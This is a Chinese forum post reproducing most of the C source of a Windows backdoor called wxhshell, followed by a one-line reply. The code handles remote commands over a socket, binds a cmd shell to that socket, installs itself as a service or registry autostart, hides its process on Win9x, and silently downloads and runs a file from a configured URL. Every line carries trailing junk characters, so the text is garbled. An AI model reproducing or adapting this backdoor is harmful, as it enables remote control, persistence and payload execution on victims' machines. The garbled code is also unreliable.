  if(DownloadFile(cmd,wsh)) bk4G+wGw  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~)]n67Or~  
  else H]>7IhJ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e[t1V/ah  
  } u&$1XZ!es  
  else { ]d,#PF  
( ALsc@K  
    switch(cmd[0]) { d$v{oC }  
  8:}$L)[V  
  // 帮助 3vF-SgCV  
  case '?': { " {Nw K  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =N{-lyr)  
    break; H9rZWc"*  
  } qN6GLx%  
  // 安装 Oa -~}hN  
  case 'i': { rcG-V f@  
    if(Install()) [300F=R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9XW[NY#)#  
    else fFd"21 >  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a|@1RH>7H  
    break; 4mF=A$Q_/  
    } 8!Q0:4Vb  
  // 卸载 Dlo4Wy  
  case 'r': { JL&ni]m  
    if(Uninstall()) pt8#cU\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7' TXR[   
    else g<N3 L [  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &}vc^io  
    break; B~/ejC!  
    } &3'zG)  
  // 显示 wxhshell 所在路径 vX"jL  
  case 'p': { gj1l9>f>]a  
    char svExeFile[MAX_PATH]; 1A/li%  
    strcpy(svExeFile,"\n\r"); D[CEg2$y  
      strcat(svExeFile,ExeFile); ]e]hA@4  
        send(wsh,svExeFile,strlen(svExeFile),0); _D."KU|  
    break; ;X[23A{  
    } R=s^bYdoy  
  // 重启 v9vY#W  
  case 'b': { u"M^qRhD  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); k0!D9tk  
    if(Boot(REBOOT)) ({p @Ay  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Op:7EdT#  
    else { ($:JI3e[;  
    closesocket(wsh); =/F\_/Xw  
    ExitThread(0); o$bD?Zn  
    } C$fQ[@  
    break; |Xa|%f  
    } %dA7`7j  
  // 关机 b. oA}XP  
  case 'd': { 9 A1w5|X  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); O,!4 W\s  
    if(Boot(SHUTDOWN)) 6'vt '9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2[$` ]{U  
    else { <t4l5nr#  
    closesocket(wsh); Wy,Tf*[  
    ExitThread(0); <=7^D  
    } vxx7aPjC  
    break; f=*xdOB3  
    } h5R5FzY0&  
  // 获取shell H1g"09?h6o  
  case 's': { U0%m*i  
    CmdShell(wsh); 0qMf6  
    closesocket(wsh); OgB ZoTT  
    ExitThread(0); E[E[Za^Y  
    break; RVb}R<yU+  
  } Z  )dz  
  // 退出 ZVmgQ7m  
  case 'x': { ,c'a+NQ_t  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ](H vx  
    CloseIt(wsh); B%d2tsDw  
    break; 7U{g'<  
    } W L5!H.q  
  // 离开 D^W?~7e ^r  
  case 'q': { I@9k+JB   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); OM 5h>\9  
    closesocket(wsh); _"#ucM=B:-  
    WSACleanup(); B#;yko  
    exit(1); _fQBXG2  
    break; eA(c{  
        } J#'+&D H  
  } b?FTwjV+#  
  } '^Ce9r}  
$N1UEvC%Q  
  // 提示信息 2KC~; 5  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (J^2|9r  
} ;l6tZ]-"  
  } e'Th[ wJ  
O%(k$ fvM  
  return; U i ~*]  
} x9!vtrM\Zr  
,ZLg=  
// shell模块句柄 y~\K~qjd  
int CmdShell(SOCKET sock) )#l,RJ(  
{ @7aSq-(_l*  
STARTUPINFO si; L E>A|M$X  
ZeroMemory(&si,sizeof(si)); 4l*4w x""v  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W8 m*co  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; saaN$tU7  
PROCESS_INFORMATION ProcessInfo; 0jN?5j  
char cmdline[]="cmd"; &u/T,jy`  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); zWh[U'6  
  return 0; ]o]*&[C  
} cCH2=v4hU  
pZ4]oK\*  
// 自身启动模式 P$=Y5   
int StartFromService(void) yy6?16@  
{ "cUCB  
typedef struct uR7\uvibUO  
{ :9`T.V<?  
  DWORD ExitStatus; *!*J5/ b  
  DWORD PebBaseAddress; cSSrMYX2  
  DWORD AffinityMask; Z{ A)  
  DWORD BasePriority; ^L1#  
  ULONG UniqueProcessId; C,xM) V^a  
  ULONG InheritedFromUniqueProcessId; 0UB,EI8   
}   PROCESS_BASIC_INFORMATION; P]G`Y>#$r  
z@0*QZ.y 1  
PROCNTQSIP NtQueryInformationProcess; d?/?VooU  
!~&vcz0>)9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; R2af>R  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; I bd na9z7  
O0gLu1*1v  
  HANDLE             hProcess; *X K9-%3  
  PROCESS_BASIC_INFORMATION pbi; MMfcY 3#%  
oZV=vg5Dq  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); eiaL zI,O  
  if(NULL == hInst ) return 0; {rG`Upp  
[J|)DUjt  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); THM\-abz  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); m18If  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); xNh#=6__9  
dik+BBu5z  
  if (!NtQueryInformationProcess) return 0; xED`8PCfu  
8@|rB3J  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }'KVi=qnHb  
  if(!hProcess) return 0; VBIY[2zf  
x^| J-  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ec4jiE  
0NB6S&lI^k  
  CloseHandle(hProcess); lr[a~ca\  
w$cic  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); oO4 Wwi  
if(hProcess==NULL) return 0; l*|^mx^Q  
G w$sL&1m\  
HMODULE hMod; @JWoF^U  
char procName[255]; e%'$Vx0kA  
unsigned long cbNeeded; :H$D-pbJ4  
6N&S3<c4JO  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $GyO+xF  
"bRg_]\q6  
  CloseHandle(hProcess); [y73 xF   
onM ~*E  
if(strstr(procName,"services")) return 1; // 以服务启动 Ne<"o]_M  
DGx9 \8^  
  return 0; // 注册表启动 kN4nRW9z  
} 6s833Tmb&r  
7R mL#f`  
// 主模块 av(d0E}}b  
int StartWxhshell(LPSTR lpCmdLine) D@yg)$;z  
{ VJX{2$L  
  SOCKET wsl; XB)e;R  
BOOL val=TRUE; 0(|BQ'4~H  
  int port=0; .(,4a<I?%N  
  struct sockaddr_in door; 6EhRCl  
Ek+L"7  
  if(wscfg.ws_autoins) Install(); -~A7o3k35  
~EIY(^|py  
port=atoi(lpCmdLine); &X +Qi  
?gb"S,  
if(port<=0) port=wscfg.ws_port; kyQ%qBv ^  
hv'~S  
  WSADATA data; .#uRJo%8  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3,bA&c3  
xQ62V11R6  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   8{HeHU  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /LM*nN$%  
  door.sin_family = AF_INET; "3{xa;c  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~pn9x;N%H  
  door.sin_port = htons(port); 6u3DxFiTm  
xa`&/W>  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]],6Fi+  
closesocket(wsl); @.gT&Hq  
return 1; _F^k>Lq&d  
} n*^g^gp  
C|Bk'<MI  
  if(listen(wsl,2) == INVALID_SOCKET) { zYdSg<[^  
closesocket(wsl); aTs5^Kh')  
return 1; f- pt8  
} V#1_jxP)Q  
  Wxhshell(wsl); X-! yi  
  WSACleanup(); ~1pJQ)!zlq  
@5H1Ni5/o@  
return 0; o$m64l  
4:8#&eF  
} 13.v5v,l  
WIXzxI<)  
// 以NT服务方式启动 y6'Fi(2yw  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) H*3f8A&@s  
{ |EaGKC(   
DWORD   status = 0; `LnLd;Z  
  DWORD   specificError = 0xfffffff; V-CPq  
!W/Og 5n  
  serviceStatus.dwServiceType     = SERVICE_WIN32; -[s*R%w  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 0k>NuIIP  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; J={$q1@lq  
  serviceStatus.dwWin32ExitCode     = 0; -9/YS  
  serviceStatus.dwServiceSpecificExitCode = 0; 9U6y<X  
  serviceStatus.dwCheckPoint       = 0; ;h_"5/#  
  serviceStatus.dwWaitHint       = 0; j4le../N  
GEwgwenv  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); #6_?7 (X  
  if (hServiceStatusHandle==0) return; &-+qB >SK>  
5oplV(<?*S  
status = GetLastError(); EuqmA7s8A  
  if (status!=NO_ERROR) ~)D2U:"^xm  
{ 0\wMlV`F  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; kf0zL3|   
    serviceStatus.dwCheckPoint       = 0; VG+Yhm<SL  
    serviceStatus.dwWaitHint       = 0; B8 -/ C\  
    serviceStatus.dwWin32ExitCode     = status; V;?_l?_  
    serviceStatus.dwServiceSpecificExitCode = specificError; |hehROUn  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); -B$oq8)n*  
    return; \SnW(,`oX  
  } 3mZX@h@  
O{&5/xBA  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; %,MCnu&Z  
  serviceStatus.dwCheckPoint       = 0; |!dyk<}oIu  
  serviceStatus.dwWaitHint       = 0; 8iD_md_[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); h$~ NPX  
} fu9y3`  
! 2"zz/N{  
// 处理NT服务事件,比如:启动、停止 b ,7:=-D  
VOID WINAPI NTServiceHandler(DWORD fdwControl) N{iBVl  
{ 7*OO k"9  
switch(fdwControl) >DQl&:-)t  
{ JrseU6N  
case SERVICE_CONTROL_STOP: |]DZc/  
  serviceStatus.dwWin32ExitCode = 0; M9]O!{ sq  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; JJ ,Fh .  
  serviceStatus.dwCheckPoint   = 0; 0F`@/C1y55  
  serviceStatus.dwWaitHint     = 0; E@"+w,x)  
  { AZorzQ]s  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u~Q0V J~  
  } B8Jev\_  
  return; 'rHkJ  
case SERVICE_CONTROL_PAUSE: Iqe4O~)  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %B3E9<9>U  
  break;  ;e()|  
case SERVICE_CONTROL_CONTINUE: 88d0`6K-9  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 17H_>a\`  
  break; 1 @E<5rp o  
case SERVICE_CONTROL_INTERROGATE:  }Q`Kg8L  
  break; ;f[Ki$7  
}; 6*kY7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Pp:(PoH  
} ?;+=bKw0  
sL~TV([6/  
// 标准应用程序主函数 @= 6}w_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /`D]m?  
{ u q:>g  
~({aj|Y  
// 获取操作系统版本 z >vzXM  
OsIsNt=GetOsVer(); Ws4aCH1  
GetModuleFileName(NULL,ExeFile,MAX_PATH); W )q^@6[d  
rYeFYPS  
  // 从命令行安装 rcq(p (!  
  if(strpbrk(lpCmdLine,"iI")) Install(); #; E,>0  
jIZQ/xp8_  
  // 下载执行文件 !V Zl<|  
if(wscfg.ws_downexe) { :De}5BMy  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Z5[ t/  
  WinExec(wscfg.ws_filenam,SW_HIDE); hBz~FB];&  
} 9/{+,RpC  
Q)C#)|S  
if(!OsIsNt) { .gv J;A7  
// 如果时win9x,隐藏进程并且设置为注册表启动 JV/K ouL  
HideProc(); /^DDU!=(<  
StartWxhshell(lpCmdLine); {]] nQ  
} qeBfE  
else @?3u|m |Z  
  if(StartFromService()) (# eB %  
  // 以服务方式启动 so8isDC'9  
  StartServiceCtrlDispatcher(DispatchTable); @YU}0&  
else ~ra2Xyl  
  // 普通方式启动 +~  :1H.  
  StartWxhshell(lpCmdLine); b,~4O~z  
BGodrb1  
return 0; wP6~HiC  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
10+5=?,请输入中文答案:十五